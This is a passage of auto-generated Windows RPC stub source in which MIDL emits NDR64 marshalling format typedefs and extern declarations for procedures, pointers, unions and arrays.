_NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag616_t;\nextern const __midl_frag616_t __midl_frag616;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag603_t;\nextern const __midl_frag603_t __midl_frag603;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag602_t;\nextern const __midl_frag602_t __midl_frag602;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag600_t;\nextern const __midl_frag600_t __midl_frag600;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag599_t;\nextern const __midl_frag599_t __midl_frag599;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag598_t;\nextern const __midl_frag598_t __midl_frag598;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag597_t;\nextern const __midl_frag597_t __midl_frag597;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag596_t;\nextern const __midl_frag596_t __midl_frag596;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag595_t;\nextern const __midl_frag595_t __midl_frag595;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag592_t;\nextern const __midl_frag592_t __midl_frag592;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag587_t;\nextern const __midl_frag587_t __midl_frag587;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag586_t;\nextern const __midl_frag586_t __midl_frag586;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag585_t;\nextern const __midl_frag585_t __midl_frag585;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag578_t;\nextern const __midl_frag578_t __midl_frag578;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag575_t;\nextern const __midl_frag575_t __midl_frag575;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag574_t;\nextern const __midl_frag574_t __midl_frag574;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag573_t;\nextern const __midl_frag573_t __midl_frag573;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag572_t;\nextern const __midl_frag572_t __midl_frag572;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag571_t;\nextern const __midl_frag571_t __midl_frag571;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag568_t;\nextern const __midl_frag568_t __midl_frag568;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag567_t;\nextern const __midl_frag567_t __midl_frag567;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag565_t;\nextern const __midl_frag565_t __midl_frag565;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag562_t;\nextern const __midl_frag562_t __midl_frag562;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag561_t;\nextern const __midl_frag561_t __midl_frag561;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag558_t;\nextern const __midl_frag558_t __midl_frag558;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag548_t;\nextern const __midl_frag548_t __midl_frag548;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag547_t;\nextern const __midl_frag547_t __midl_frag547;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag546_t;\nextern const __midl_frag546_t __midl_frag546;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag542_t;\nextern const __midl_frag542_t __midl_frag542;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag532_t;\nextern const __midl_frag532_t __midl_frag532;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag528_t;\nextern const __midl_frag528_t __midl_frag528;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag515_t;\nextern const __midl_frag515_t __midl_frag515;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag513_t;\nextern const __midl_frag513_t __midl_frag513;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag509_t;\nextern const __midl_frag509_t __midl_frag509;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag503_t;\nextern const __midl_frag503_t __midl_frag503;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag502_t;\nextern const __midl_frag502_t __midl_frag502;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag501_t;\nextern const __midl_frag501_t __midl_frag501;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag496_t;\nextern const __midl_frag496_t __midl_frag496;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag489_t;\nextern const __midl_frag489_t __midl_frag489;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag486_t;\nextern const __midl_frag486_t __midl_frag486;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_MEMPAD_FORMAT frag18;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n    } frag2;\n}\n__midl_frag484_t;\nextern const __midl_frag484_t __midl_frag484;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag483_t;\nextern const __midl_frag483_t __midl_frag483;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag482_t;\nextern const __midl_frag482_t __midl_frag482;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n    } frag2;\n}\n__midl_frag480_t;\nextern const __midl_frag480_t __midl_frag480;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag479_t;\nextern const __midl_frag479_t __midl_frag479;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag478_t;\nextern const __midl_frag478_t __midl_frag478;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag477_t;\nextern const __midl_frag477_t __midl_frag477;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag476_t;\nextern const __midl_frag476_t __midl_frag476;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag473_t;\nextern const __midl_frag473_t __midl_frag473;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag471_t;\nextern const __midl_frag471_t __midl_frag471;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag463_t;\nextern const __midl_frag463_t __midl_frag463;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag458_t;\nextern const __midl_frag458_t __midl_frag458;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag457_t;\nextern const __midl_frag457_t __midl_frag457;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag452_t;\nextern const __midl_frag452_t __midl_frag452;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag444_t;\nextern const __midl_frag444_t __midl_frag444;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag438_t;\nextern const __midl_frag438_t __midl_frag438;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag434_t;\nextern const __midl_frag434_t __midl_frag434;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag423_t;\nextern const __midl_frag423_t __midl_frag423;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag414_t;\nextern const __midl_frag414_t __midl_frag414;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag413_t;\nextern const __midl_frag413_t __midl_frag413;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag412_t;\nextern const __midl_frag412_t __midl_frag412;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag410_t;\nextern const __midl_frag410_t __midl_frag410;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag408_t;\nextern const __midl_frag408_t __midl_frag408;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag407_t;\nextern const __midl_frag407_t __midl_frag407;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag406_t;\nextern const __midl_frag406_t __midl_frag406;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag405_t;\nextern const __midl_frag405_t __midl_frag405;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag404_t;\nextern const __midl_frag404_t __midl_frag404;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag403_t;\nextern const __midl_frag403_t __midl_frag403;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag401_t;\nextern const __midl_frag401_t __midl_frag401;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag397_t;\nextern const __midl_frag397_t __midl_frag397;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag396_t;\nextern const __midl_frag396_t __midl_frag396;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag394_t;\nextern const __midl_frag394_t __midl_frag394;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag391_t;\nextern const __midl_frag391_t __midl_frag391;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag387_t;\nextern const __midl_frag387_t __midl_frag387;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag384_t;\nextern const __midl_frag384_t __midl_frag384;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag383_t;\nextern const __midl_frag383_t __midl_frag383;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag382_t;\nextern const __midl_frag382_t __midl_frag382;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag381_t;\nextern const __midl_frag381_t __midl_frag381;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag380_t;\nextern const __midl_frag380_t __midl_frag380;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag379_t;\nextern const __midl_frag379_t __midl_frag379;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag378_t;\nextern const __midl_frag378_t __midl_frag378;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag377_t;\nextern const __midl_frag377_t __midl_frag377;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag374_t;\nextern const __midl_frag374_t __midl_frag374;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag363_t;\nextern const __midl_frag363_t __midl_frag363;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag347_t;\nextern const __midl_frag347_t __midl_frag347;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag344_t;\nextern const __midl_frag344_t __midl_frag344;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag337_t;\nextern const __midl_frag337_t __midl_frag337;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag329_t;\nextern const __midl_frag329_t __midl_frag329;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag315_t;\nextern const __midl_frag315_t __midl_frag315;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag312_t;\nextern const __midl_frag312_t __midl_frag312;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag302_t;\nextern const __midl_frag302_t __midl_frag302;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n    struct _NDR64_POINTER_FORMAT frag15;\n    struct _NDR64_POINTER_FORMAT frag16;\n    struct _NDR64_POINTER_FORMAT frag17;\n    struct 